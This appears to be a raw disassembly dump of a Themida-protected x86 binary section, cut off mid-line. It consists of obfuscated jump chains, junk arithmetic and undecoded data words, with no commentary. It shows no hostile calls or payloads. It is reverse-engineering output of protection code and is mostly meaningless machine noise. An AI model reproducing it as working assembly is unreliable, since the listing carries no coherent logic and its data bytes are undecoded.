0BE05C829h dd 0E968993Dh, 0FFFFD0EEh, 0C281E289h, 4, 4EA81h, 58E90000h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A8FF: ; CODE XREF: Themida_:0055AA80j xchg edx, [esp] mov esp, [esp] pop ecx loc_55A906: ; CODE XREF: Themida_:00555F8Fj ; Themida_:loc_55DF4Aj sub esp, 4 mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5528F6 ; --------------------------------------------------------------------------- loc_55A91B: ; CODE XREF: Themida_:0055C824j mov eax, esp add eax, 4 jmp loc_561AB6 ; --------------------------------------------------------------------------- loc_55A927: ; CODE XREF: Themida_:005578A3j pop esp push ebp mov ebp, 7F891940h push eax mov eax, 8076E6C1h jmp loc_555B02 ; --------------------------------------------------------------------------- db 81h, 0F3h, 0FBh dd 15E395Eh, 89565BDFh, 4C681E6h, 83000000h, 0FF5604EEh dd 0FF042474h, 0E95E2434h, 6110h ; --------------------------------------------------------------------------- loc_55A95C: ; CODE XREF: Themida_:00553A65j inc dl push ecx jmp loc_553FAB ; --------------------------------------------------------------------------- loc_55A964: ; CODE XREF: Themida_:00554399j mov edi, 66687EE1h sub edi, 17A21028h jmp loc_555966 ; --------------------------------------------------------------------------- dd 2414335Bh, 2322E9h, 2434FF00h, 0FFAF6CE9h, 4C681FFh dd 0E9000000h, 6011h, 0E7BA5255h, 0E951E766h, 0FFFFA943h dd 8124348Bh, 4C4h, 535B5A00h, 5C93E9h, 4B95100h, 1000000h dd 9741E9CFh, 0D1280000h, 30D1305Ah, 0F6D130CAh, 0B40BE9D2h dd 3C33FFFFh, 2EE95C24h, 1000093h, 49B82DE8h, 595D694Dh dd 38E68h, 242C8900h, 564436BDh, 46F58756h, 834DF587h dd 2C8904ECh, 0D201E924h, 10BBFFFFh, 81520940h, 8A023BE3h dd 4BC38111h, 0F73B8613h, 81D3F7D3h, 0B466B1F3h, 0E9DD896Ah dd 0FFFFB6CDh, 39CB6866h, 241C8966h, 63BE9h db 0 ; --------------------------------------------------------------------------- loc_55AA29: ; CODE XREF: Themida_:00553A4Aj mov eax, esi push ecx mov ecx, eax mov ebx, ecx pop ecx jmp loc_55E698 ; --------------------------------------------------------------------------- dw 9C68h dd 0E900006Bh, 0FFFFB646h, 2773B951h, 0EA813BF9h, 4A0742C2h dd 0C281CA29h, 4A0742C2h, 0FA6BE959h, 8B59FFFFh, 0EC83241Ch dd 243C8904h, 1EE9E789h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AA6B: ; CODE XREF: Themida_:00564692j push ebx mov ebx, 4 add edx, 68E74C96h add edx, ebx sub edx, 68E74C96h pop ebx jmp loc_55A8FF ; --------------------------------------------------------------------------- loc_55AA85: ; CODE XREF: Themida_:0055460Aj mov [esp], esi jmp loc_55ED0B ; --------------------------------------------------------------------------- db 89h, 0E0h, 52h dd 4BAh, 8A81E900h, 0D589FFFFh, 393CE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AAA2: ; CODE XREF: Themida_:0055D524j push 5AFCh mov [esp], ebp mov ebp, 4 jmp loc_56310C ; --------------------------------------------------------------------------- dd 7414C681h, 83581DCEh, 48904ECh, 2B824h, 0C6290000h dd 0FFC930E9h, 0CDE956FFh db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AAD3: ; CODE XREF: Themida_:00557857j push esi jmp loc_55D348 ; --------------------------------------------------------------------------- db 5Bh, 83h, 0C4h dd 4EE8104h, 68000000h, 4BCAh, 0FF243489h, 0E9042474h dd 0FFFF7268h, 144FEA81h, 0D60127F1h, 4C6835Ah, 5C243487h dd 0FFF286E9h, 4EC83FFh, 0E9243C89h, 0FFFFE33Ah ; --------------------------------------------------------------------------- loc_55AB14: ; CODE XREF: Themida_:00553F6Cj mov eax, ebp pop ebp push dword ptr [esp] push dword ptr [esp] jmp loc_553D7D ; --------------------------------------------------------------------------- dw 5057h dd 0C35593B8h, 0BBA5214h, 0E925F927h, 0FFFF4D78h, 7ED4F0BAh dd 1795E9FBh, 0C1810000h, 7875BCDh, 4BD555Bh, 1000000h dd 0F4685DE9h, 89000073h, 74FF240Ch, 0C8B0424h, 3E4EE924h dd 0B8500000h, 3BE80561h, 30734935h, 0F6F10559h, 0C189B9CEh dd 415CE9h, 37EB8100h, 1479268h, 37C381F3h, 8B479268h dd 0E6E92434h, 55FFFFECh, 2434FF54h, 4C4835Dh, 10E95156h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AB9F: ; CODE XREF: Themida_:0055BEB3j pop esp sub edx, 46480DF4h sub esp, 4 mov [esp], edi mov edi, 0DCBEC984h sub edx, edi mov edi, [esp] add esp, 4 mov ecx, edx push dword ptr [esp] jmp loc_563283 ; --------------------------------------------------------------------------- dw 0C89h dd 0E9008F24h, 0FFFF4C46h, 4240481h, 0E9000000h, 6B0h dd 0D2F79259h, 0FEBE5692h, 1541B57h, 0E86E9F0h, 148B0000h dd 0CFC9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ABF6: ; CODE XREF: Themida_:00564776j mov ecx, esp jmp loc_55178C ; --------------------------------------------------------------------------- db 1, 0D0h, 5Ah dd 0E958C131h, 4D1h, 64A868h, 6716E900h, 0FF530000h, 0E9042474h dd 8A53h, 405E089h, 83000000h, 48704C0h, 3C875C24h, 0D3665C24h dd 0E99C2404h, 0FFFF4BDEh, 0E9595451h, 7E99h, 494EBF57h dd 0E7C14274h, 0DFF74707h, 446CE9h, 0D1C18100h, 810B386Dh dd 46007BC1h, 81E9291Ah, 46007BE9h, 0FDBE561Ah, 8120906Bh dd 0F56C71C6h, 1EE68119h, 0C1656829h, 0E68102EEh, 0A3878BAh dd 327FE9h, 54535900h, 0B951505Bh, 9DD2F4Dh, 6DA6C181h dd 0B6E95A7Eh db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AC9B: ; CODE XREF: Themida_:005593F7j mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push eax jmp loc_55C361 ; --------------------------------------------------------------------------- dw 815Eh dd 8C5688C3h, 2EBC175h, 0F9E5F381h, 8955563Eh, 0E0E0E9DDh dd 0EC81FFFFh, 4, 36FDE9h db 0 ; --------------------------------------------------------------------------- loc_55ACD9: ; CODE XREF: Themida_:0055F783j or edx, eax jmp loc_557956 ; --------------------------------------------------------------------------- dd 6824248Bh, 3216h, 0E9243489h, 0FFFFE526h ; --------------------------------------------------------------------------- loc_55ACF0: ; CODE XREF: Themida_:00557281j add esp, 4 mov ecx, 44C44F88h sub ecx, ebx push dword ptr [esp] pop ebx push 16B9h jmp loc_556C0E ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 2A990504h, 0F80140A1h, 3433B951h, 0C18161EDh dd 0DEB3F666h, 0FF8689E9h, 0E28952FFh, 4C281h, 0EA810000h dd 4, 0E9241487h, 0FFFF8C7Ch ; --------------------------------------------------------------------------- loc_55AD40: ; CODE XREF: Themida_:00557F6Cj add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 jmp loc_554660 ; --------------------------------------------------------------------------- loc_55AD4F: ; CODE XREF: Themida_:00559A35j xchg edx, [esp] pop esp pop dword ptr [edi+20h] push ebp jmp loc_562590 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 4E981h, 0C330000h, 240C3124h, 5C240C33h dd 68241489h, 28AB0A31h, 0B95E9h, 0E9FD8800h, 501Eh, 4C281h dd 0EA810000h, 4, 6FA1E9h db 0 ; --------------------------------------------------------------------------- loc_55AD99: ; CODE XREF: Themida_:00555B36j add esp, 4 pop ecx xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push ebp jmp loc_5595E8 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 5CA9BF57h, 0C7813755h, 0C8AAA35Bh, 335FFB29h, 1C31241Ch dd 241C3324h, 2424895Ch, 4240483h, 53242C8Bh, 241C8B54h dd 4C481h, 0C3810000h, 4, 4BE56h, 0F3010000h, 241C875Eh dd 0E924248Bh, 85D4h, 185B212Dh, 0C8B5E16h, 4C48124h, 51000000h dd 0D81141B9h, 42F18168h, 497FDC5Fh, 73A1E181h, 0C1814AADh dd 0D4C2863h, 2626BF57h, 574F24BFh, 5F2414F7h, 0DFF7DFF7h dd 2F18BE56h, 0C7E981E0h, 53000026h, 0B07E9h, 40500h, 42D0000h dd 87000000h, 0E95C2404h, 2E87h, 9C240409h, 0FF49B1E9h dd 80F328FFh, 148B76C3h, 4C48124h, 0E9000000h, 0FFFFCA9Fh ; --------------------------------------------------------------------------- loc_55AE78: ; CODE XREF: Themida_:0055E182j mov eax, [esp] add esp, 4 add esp, 4 push 6D63h mov [esp], ecx mov ecx, esp push esi mov esi, 55A8622Ah jmp loc_559A79 ; --------------------------------------------------------------------------- loc_55AE96: ; CODE XREF: Themida_:005502DEj push esi mov esi, 0E529D83Ah add edi, esi jmp loc_55F268 ; --------------------------------------------------------------------------- db 81h dd 3E4047C2h, 0E9EA012Dh, 0FFFFF820h, 4A42EA81h, 0F2816D07h dd 0B7E8ACAEh, 15AD729h, 46BB53DFh, 0E9067C67h, 5445h dd 4BF57h, 0DA050000h, 156817Eh, 3805E9F8h, 0F2810000h dd 336228h, 0B6E9D721h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AEEB: ; CODE XREF: Themida_:00561455j mov edi, 1AE74716h xor ecx, edi pop edi jmp loc_56426D ; --------------------------------------------------------------------------- aIrs db '',8,'*',0 dw 0C100h dd 0F68103EEh, 9937B04Dh, 295EF029h, 0C68158C6h, 1E1178Ch dd 8124048Bh, 4C4h, 341EE900h, 14890000h, 80E9B624h, 0F300CCC3h dd 5ACCEB80h, 0F69EB80h, 48DC0B6h, 3FA96887h, 4890000h dd 48D0E924h, 0FB89FFFFh, 246C815Fh, 0C4540004h, 245C017Eh dd 24448104h, 0C4540004h, 241C8B7Eh, 5B04C483h, 0DBF5750h dd 0B80B615Ah, 0F49EA5F7h, 72C0A05h, 51F80164h, 72C0AB9h dd 59C82964h, 525EE9h db 0 ; --------------------------------------------------------------------------- loc_55AF85: ; CODE XREF: Themida_:0056337Dj push eax sub esp, 4 mov [esp], ecx push eax mov eax, 51DB0FDBh mov ecx, 0EEEF3A9Ch add ecx, eax pop eax mov eax, ecx pop ecx mov ecx, eax pop eax xor ecx, edi push dword ptr [esp] mov edi, [esp] jmp loc_557009 ; --------------------------------------------------------------------------- dd 5FF82958h, 5A2434FFh, 555E5456h, 7B3607BDh, 5E5C128h dd 4D08E5C1h, 7B0AE581h, 0C5813551h, 0DBBFA4FAh, 2C8BEE01h dd 4C48124h, 81000000h, 4C6h, 24348700h, 0E924248Bh, 0FFFFDF5Ch dd 0E9242489h, 0FFFFD836h ; --------------------------------------------------------------------------- loc_55AFF8: ; CODE XREF: Themida_:0055E1E2j pop edx jmp loc_5522E4 ; --------------------------------------------------------------------------- dw 0E681h dd 1D2B5223h, 0D92F681h, 0F02D1F6Ah, 1449B13h, 13F005F0h dd 5A5E449Bh, 31E3E9h db 0 ; --------------------------------------------------------------------------- loc_55B01D: ; CODE XREF: Themida_:0054FBC6j shr esi, 2 jmp loc_55FF12 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0CD7CE904h, 2C89FFFFh, 76746824h, 14890000h, 20856824h dd 4CE92117h, 0BF000014h, 62F81810h, 8170E2B8h, 0EF38E971h dd 3BBFFFFh, 0E961BE02h, 69Fh, 0E9FE0158h, 0FFFFD6D8h dd 0FE888FB7h dword_55B068 dd 241C8B66h, 2C481h, 0C6800000h, 0FEE6D0FFh, 0A3F680CEh ; DATA XREF: Themida_:00551A81o dd 148BF088h, 4C48124h, 53000000h, 0FF6E00E9h, 33BB53FFh dd 0E93ECD5Dh, 107Fh, 8B9DE95Dh, 248B0000h, 48B6624h, 1BB06824h dd 0ECE90000h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B0AF: ; CODE XREF: Themida_:0055CDB2j push 13EAh mov [esp], ecx mov eax, [esp] add esp, 4 push dword ptr [esp] pop ecx add esp, 4 xor ecx, eax xor eax, ecx xor ecx, eax xor eax, esi xor esi, eax xor eax, esi push esi jmp loc_558342 ; --------------------------------------------------------------------------- db 1, 4Ch, 24h dd 3F9FE904h, 0F1810000h, 0BF487CD6h, 0E959CA01h, 0FFFFA07Ah ; --------------------------------------------------------------------------- loc_55B0F0: ; CODE XREF: Themida_:0055997Aj not ecx xchg ecx, [esp] pop eax jmp loc_557883 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 330CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B106: ; CODE XREF: Themida_:0055B471j pop ebp sub edi, 3AA97A62h push edx mov edx, 6F867052h add edx, 19FF5247h sub edx, 155862D9h jmp loc_5584D5 ; --------------------------------------------------------------------------- loc_55B124: ; CODE XREF: Themida_:00562857j add eax, 4 jmp loc_558A9B ; --------------------------------------------------------------------------- dd 68B9EB80h, 1137h, 0FF9509E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B139: ; CODE XREF: Themida_:00560A40j not dword ptr [esp] jmp loc_55898A ; --------------------------------------------------------------------------- db 68h, 9Eh, 3 dd 0C890000h, 4B924h, 87E90000h, 1FFFF66h, 69DA2DD0h, 67E90256h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B15F: ; CODE XREF: Themida_:00555A6Dj mov edi, esi pop esi mov ecx, 8CAA7DCFh add ecx, 2EB73952h sub ecx, edi jmp loc_5609BC ; --------------------------------------------------------------------------- dd 0E97FC680h, 0FFFFA75Eh, 4C681h, 0C6810000h, 4, 5C243487h dd 0FFF58FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B191: ; CODE XREF: Themida_:00562F32j xor eax, 7B0C55FCh add eax, 5B4861B0h jmp loc_551816 ; --------------------------------------------------------------------------- dd 4EA81h, 14870000h, 24248B24h, 98E8E9h, 58C13100h, 8106E9C1h dd 0AD011BF1h, 0E7E98111h, 0E9A835F1h, 0FFFF7AE7h, 745BF581h dd 0E8295FD4h, 0B03E9h, 1F07BA00h, 0D52941B1h, 2434FF5Ah dd 0E089505Eh, 405h, 8039E900h, 335B0000h, 0C31240Ch, 240C3324h dd 0E924248Bh, 0FFFF8B1Fh ; --------------------------------------------------------------------------- loc_55B200: ; CODE XREF: Themida_:0055CB01j mov ebp, 33F80E88h push esi mov esi, 0FFFFFFFFh sub ebp, 39477D0Ch add ebp, esi add ebp, 39477D0Ch jmp loc_55213E ; --------------------------------------------------------------------------- aIIZ db 'ӈ[Z',0 aFyaiS_ db 'fY.',0 align 10h dd 0E9241489h, 32A3h, 4EC81h, 3C890000h, 7761BF24h, 0F781696Dh dd 698F0410h, 0C104EFC1h, 0D7F705EFh, 0E908E7C1h, 0FFFF7589h dd 2B35C281h, 0D02985E6h, 0A5BB535Ah, 29693026h, 0B4E95BD8h dd 89000068h, 2D4859C8h, 77A3149Ch, 0FF7BFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B281: ; CODE XREF: Themida_:005610CEj xor ecx, 633217BEh jmp loc_553236 ; --------------------------------------------------------------------------- aZh8 db 'Zh8',0 align 2 dw 3C89h dd 4BF24h, 0C2810000h, 483C7272h, 0FF78D5E9h, 5BD909FFh dd 0FAE98149h, 3199CD66h, 0E95659CEh, 0FFFFCCB9h, 0BD5B951h dd 0E9574B38h, 0C78h, 4240483h, 4C7815Fh, 81000000h, 4C7h dd 243C3300h, 33243C31h, 248B243Ch, 99E5E924h, 0B8500000h dd 4, 0A7E9C601h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B2F3: ; CODE XREF: Themida_:00557394j push esi mov esi, 1F883E42h xor esi, 50CC2AA5h or esi, 27E9132Fh not esi inc esi shr esi, 4 sub esi, 0B26CE723h or edi, esi mov esi, [esp] add esp, 4 add edi, 3B2B4457h add ebx, edi jmp loc_550C18 ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 5C240C33h, 0D3BE5658h, 577EC322h, 21D3BB53h, 0CB811EB3h dd 0B060A3Fh, 0D381EB81h, 0DF89E764h, 0EDF7815Bh, 47192D58h dd 305F781h, 0E7C151B5h, 30C78108h, 958E685h, 0DEF75FFEh dd 5E6C146h, 6690E9h, 5B263500h, 0C101B171h, 21F18158h dd 533A9805h, 0FFFFFFBBh, 99DAE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B38A: ; CODE XREF: Themida_:0055639Fj xor [esp], esi push dword ptr [esp] mov eax, [esp] add esp, 4 push 424h mov [esp], edx push esp pop edx push edi mov edi, 34346EC7h not edi shl edi, 7 dec edi jmp loc_5595BA ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6624248Bh, 8100B60Fh, 4ECh, 7450E900h, 0F5810000h, 6519610Dh dd 5CFEF581h, 0E1E92CB3h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B3D7: ; CODE XREF: Themida_:0054F903j mov ax, [esp] push 6134h mov [esp], ecx push esp jmp loc_55C505 ; --------------------------------------------------------------------------- a0UsM db '%:0U{m',0 dw 6800h dd 5C33h, 0BF243C89h, 4CDD292Fh, 1B4AEF81h, 0F7814EF7h dd 7F56352Bh, 1E7EF81h, 0CF817DCDh, 5B21052Eh, 5C32C781h dd 59E9427Eh, 0BF00005Bh, 5F1F2A2Eh, 22FCBA52h, 0C2813B23h dd 0D427F326h, 0F75AD731h, 1C783D7h, 0FF9EE9E9h, 2434FFFFh dd 4EC8359h, 68241C89h, 34CDh, 24048F54h, 2618E9h db 0 ; --------------------------------------------------------------------------- loc_55B459: ; CODE XREF: Themida_:005615BAj add edi, 824FA302h sub ecx, 0B8A2CC1h jmp loc_55CD12 ; --------------------------------------------------------------------------- loc_55B46A: ; CODE XREF: Themida_:0055FEA9j mov ebp, 0DB9651EEh sub ebx, ebp jmp loc_55B106 ; --------------------------------------------------------------------------- loc_55B476: ; CODE XREF: Themida_:00553410j xchg esi, [esp] jmp loc_55C3DC ; --------------------------------------------------------------------------- dw 0DDF7h dd 0FFF2F581h, 0EA01FFDFh, 81242C8Bh, 4C4h, 4EC8300h, 0FF241489h dd 5A042474h, 5C24048Fh, 243CD366h, 9D2E99Ch, 0C4830000h dd 1BFEE904h, 1C330000h, 24248B24h, 0B3241C89h, 4CC380C2h dd 5266CBFEh, 0D30085B2h, 6CE95A66h, 68FFFFB3h, 3755h dd 0B9240C89h, 1BB36E11h, 52F0E9h, 0C2BCBB00h, 0D929739Dh dd 0F8C1815Bh, 0F72D3335h, 0E9D9F7D9h, 0FFFFD850h ; --------------------------------------------------------------------------- loc_55B4F8: ; CODE XREF: Themida_:00559448j sub esp, 4 mov [esp], eax mov ah, 64h xor ah, 38h add bl, ah jmp loc_56434F ; --------------------------------------------------------------------------- db 81h, 0EAh, 0B0h dd 0E9236E01h, 0FFFFBD99h, 50241489h, 560DE9h, 0FFF03000h dd 34FF2434h, 46E95A24h, 0FF000018h, 27E92434h, 25FFFFDCh dd 2BDE42CAh, 0A04F6B0Dh, 4FE72D04h, 0EE8107B0h, 4EAF758Eh dd 42E9C601h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B553: ; CODE XREF: Themida_:0055462Ej mov [esp], ebx mov ebx, 0FEBF67EFh jmp loc_55D11B ; --------------------------------------------------------------------------- dd 4C481h, 31E90000h, 25000084h, 4FF44A5Bh, 0E4296E35h dd 82E94860h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B57B: ; CODE XREF: Themida_:00559AB3j sub eax, 611A2706h jmp loc_55CB06 ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 0BDA7E900h, 0C683FFFFh, 2B76E904h, 0B6520000h dd 0BCC68003h, 0EE80CEFEh, 95BFE941h, 0FA290000h, 94D9E953h dd 0C7810000h, 4, 5C243C87h, 0CF6DE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B5C2: ; CODE XREF: Themida_:0055220Cj neg edi dec edi xor edi, 28B33BCCh sub ecx, edi pop edi and eax, ecx jmp loc_554578 ; --------------------------------------------------------------------------- loc_55B5D5: ; CODE XREF: Themida_:00552256j pop dword ptr [esp] mov esp, [esp] push 3AA8h mov [esp], ebp jmp loc_559C31 ; --------------------------------------------------------------------------- loc_55B5E8: ; CODE XREF: Themida_:0055DFE7j push eax jmp loc_551571 ; --------------------------------------------------------------------------- dw 5E5Eh dd 4A7DDB05h, 2DD8015Bh, 5B4A7DDBh, 61EABE56h, 0F7967F01h dd 0C14696D0h, 0EEC104EEh, 0ADCE8102h, 0E926C716h, 92BEh ; --------------------------------------------------------------------------- loc_55B618: ; CODE XREF: Themida_:00563D73j pop eax inc edx dec edx sub edx, 0CC7207F0h jmp loc_55BF0A ; --------------------------------------------------------------------------- loc_55B626: ; CODE XREF: Themida_:00564846j shl ebx, 3 push esi mov esi, 4EC88AF7h jmp loc_55F8D9 ; --------------------------------------------------------------------------- dd 0C5815D54h, 4, 8704C583h, 248B242Ch, 4C48324h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 50677EAh or eax, 7236283Ah not eax add eax, 50DF319Ch xor eax, 6B0A7E9Ch neg eax jmp loc_555147 ; --------------------------------------------------------------------------- db 68h, 25h, 0Dh dd 4890000h, 0CCE95124h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B677: ; CODE XREF: Themida_:0055A5FFj xchg esi, [esp] pop esi and esi, 43DB3232h add esi, 74B745F6h jmp loc_5612D7 ; --------------------------------------------------------------------------- dd 0FF4185E9h, 8BE821FFh, 0C481242Ch, 4, 1117E9h db 0 ; --------------------------------------------------------------------------- loc_55B6A1: ; CODE XREF: Themida_:0055A2B2j shl esi, 2 jmp loc_558611 ; --------------------------------------------------------------------------- db 51h, 0B1h, 36h dd 80FFC180h, 0E98065C9h, 4E9C0EFh, 28ABC180h, 0F82859C8h dd 0C06EB652h, 3EE902EEh, 88000019h, 0EF8859EAh, 5A66D588h dd 81A3ED80h, 2ECh, 1C896600h, 0EB79E924h, 0D788FFFFh dd 0FF9D63E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B6ED: ; CODE XREF: Themida_:0056474Dj mov edx, esp push eax push edx mov edx, 283C32BCh jmp loc_564669 ; --------------------------------------------------------------------------- db 81h dd 0AF5724E3h, 2F38153h, 432FE630h, 64FFE381h, 0E3C17195h dd 41EB8104h, 194F3E7h, 0B2E95BDFh db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B71F: ; CODE XREF: Themida_:00563C02j xor ecx, 55C00498h sub ebp, 15893174h sub ebp, ecx jmp loc_551A72 ; --------------------------------------------------------------------------- dw 0C483h dd 88C2E904h, 0DD88FFFFh, 9091E9h, 0DBE5600h, 815BF82Bh dd 830091E6h, 21F68145h, 0E94AE04Fh, 0FFFFAE36h, 0E64C91BEh dd 5EF72930h, 2673E781h, 0EF817CB0h, 0F8EC1A16h, 0FF7B42E9h dd 4BAFFh, 0D5890000h, 0EEE9815Ah, 1423C3Ch, 0CFE4E9E9h dd 8BE9FFFFh, 83FFFF40h, 0BF5704C4h, 49806A6Bh, 0FFC974E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B799: ; CODE XREF: Themida_:0055C889j push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 add ecx, edx pop edx jmp loc_552756 ; --------------------------------------------------------------------------- loc_55B7AD: ; CODE XREF: Themida_:0055D5C7j add [esp+8], edi mov edi, [esp] add esp, 4 mov edx, [esp] push ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 jmp loc_5514F7 ; --------------------------------------------------------------------------- dw 0E95Ch dd 1513h, 4C281h, 84E90000h, 0BFFFFF6Ah, 2, 34FFFA01h dd 0C4815F24h, 4, 4EC81h, 14890000h, 2474FF24h, 48F5A04h dd 24248B24h, 9CC88566h, 0FF4009E9h, 8BDF01FFh, 8953241Ch dd 0ABB850E3h, 4878EA45h, 0EC5C350Dh, 5D0F71Ah, 2292D3Bh dd 0FF47C2E9h, 241C33FFh, 0EC81565Ch, 4, 68242489h, 2D58h dd 50241C89h, 3DE9E089h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B84B: ; CODE XREF: Themida_:0055F4A0j xchg ebp, [esp] pop esp jmp loc_564364 ; --------------------------------------------------------------------------- loc_55B854: ; CODE XREF: Themida_:00551F6Ej mov [esp], edx mov edx, esi mov eax, edx mov edx, [esp] push eax mov eax, esp jmp loc_55637C ; --------------------------------------------------------------------------- dw 8950h dd 58C289C8h, 81240C8Bh, 4C4h, 7E2C100h, 0EA81DAF7h, 1 dd 0E16EA81h, 0BB533CB6h, 1C7C1F64h, 4302E3C1h, 0B2E9D3F7h dd 0B7000015h, 17D0E9DDh, 4BB0000h, 0E9000000h, 5835h dd 70E9F029h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B8AF: ; CODE XREF: Themida_:00553E5Aj add edx, 4AB13FBAh jmp loc_55C995 ; --------------------------------------------------------------------------- dw 0F530h dd 0AEF5805Ah, 2817EE80h, 2D92E9EEh, 295F0000h, 24148BD5h dd 0E904C483h, 7DE8h, 6CCEE958h, 48FFFFFh, 8C03E924h, 0FAB80000h dd 13C2002h, 5C26E9C1h, 4ACFFFFh, 4EC835Eh, 0B6241489h dd 0E7C680BEh, 18C1E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B906: ; CODE XREF: Themida_:0055686Cj add ebx, edx mov edx, [esp] add esp, 4 jmp loc_559381 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835A24h, 0BB534A04h, 78921163h, 1C8BDA01h, 6E0E924h dd 0C1810000h, 90C0778h, 0E981D929h, 90C0778h, 0E9241C8Bh dd 445h, 240C8966h, 0E98CB450h, 8890h, 4BBh, 5BDE0100h dd 8B243487h, 0C332424h, 240C3124h, 5C240C33h, 0D0668h dd 24148900h, 15E95053h, 2D00008Ah, 2E152B41h, 4105E801h dd 5D2E152Bh, 0FFA8F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B989: ; CODE XREF: Themida_:005545F2j add ecx, 4 jmp loc_559E13 ; --------------------------------------------------------------------------- dd 0B74DF6B9h, 244C293Fh, 84CCE908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B9A2: ; CODE XREF: Themida_:00561161j add esp, 4 push ebp mov ebp, 373C6CADh dec ebp inc ebp jmp loc_552A9C ; --------------------------------------------------------------------------- dw 8605h dd 0E92B942Ah, 0FFFFC125h, 0DC5326BFh, 5FFA315Ch, 4A18E9h db 0 ; --------------------------------------------------------------------------- loc_55B9C9: ; CODE XREF: Themida_:00551D22j jmp loc_54F816 ; --------------------------------------------------------------------------- dw 8B66h dd 0F6682404h, 0E9000066h, 3F6Fh ; --------------------------------------------------------------------------- loc_55B9DC: ; CODE XREF: Themida_:0055E3ADj pop ebp push esi mov esi, 1DC1224Ah not esi sub esi, 69F10188h jmp loc_553652 ; --------------------------------------------------------------------------- dd 5FE98159h, 157A845h, 5FC181E9h, 8B57A845h, 0C483242Ch dd 4E98304h, 5C240C87h, 68240489h, 2, 0E924048Bh, 7530h ; --------------------------------------------------------------------------- loc_55BA1C: ; CODE XREF: Themida_:00552751j xor ebx, 32372927h jmp loc_55F0AE ; --------------------------------------------------------------------------- db 9 dd 7DE3E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA2E: ; CODE XREF: Themida_:0056286Dj push dword ptr [esp] pop ecx add esp, 4 loc_55BA38: ; CODE XREF: Themida_:005545E1j push ebx mov ebx, esp add ebx, 4 jmp loc_563D3C ; --------------------------------------------------------------------------- loc_55BA46: ; CODE XREF: Themida_:00563650j pop ebx jmp loc_55C667 ; --------------------------------------------------------------------------- dd 9F92E951h, 0E956FFFFh, 53FBh, 4BDh, 5DEF0100h, 81E28952h dd 4C2h, 4EA8300h, 0E9241487h, 15E4h, 0BD55405Eh, 2CD92512h dd 0FFEC31E9h, 4C181FFh, 57000000h, 4BFh, 5FF92900h, 8B240C87h dd 4892424h, 72B7E924h, 0D9310000h, 0D987D3F7h, 11C6E9h db 0 ; --------------------------------------------------------------------------- loc_55BAA9: ; CODE XREF: Themida_:0055EF52j mov ebp, esp jmp loc_55158E ; --------------------------------------------------------------------------- dd 58240CFFh, 494D1835h, 0D089E951h, 0C783FFFFh, 243C8704h dd 29D3E9h, 51E68900h, 0FF9EE2E9h, 4BBFFh, 5C010000h, 8F5B0424h dd 4812404h, 424h, 0EC815E00h, 4, 5ACEE9h, 4AB76800h, 0C890000h dd 4EC8324h, 56243C89h, 7107BFBEh, 0AEB8E905h, 0D668FFFFh dd 89000014h, 0E9502414h, 48AAh ; --------------------------------------------------------------------------- loc_55BB18: ; CODE XREF: Themida_:00552584j mov ecx, edx pop edx jmp loc_5638F6 ; --------------------------------------------------------------------------- loc_55BB20: ; CODE XREF: Themida_:00556A24j add ebx, eax jmp loc_555FB5 ; --------------------------------------------------------------------------- db 81h dd 4EFh, 243C8700h, 2434895Ch, 81E38953h, 4C3h, 0A283E900h dd 66BFFFFFh, 0F768F60Dh, 5DFDE9D7h, 0C7810000h, 150C3607h dd 0FF6527E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BB59: ; CODE XREF: Themida_:0055059Aj sub ebx, 45203897h add ebx, 76432066h mov ebp, ebx pop ebx xor ebp, 637477EAh xor ebp, 52DB4544h push edx push esp jmp loc_558ECC ; --------------------------------------------------------------------------- db 66h dd 53240C8Bh, 0C381E389h, 4, 0FF484CE9h, 81E689FFh, 4ECh dd 240C8900h, 5E7645B9h, 0E9D9F72Dh, 0FFFFD0F8h, 48CE950h dd 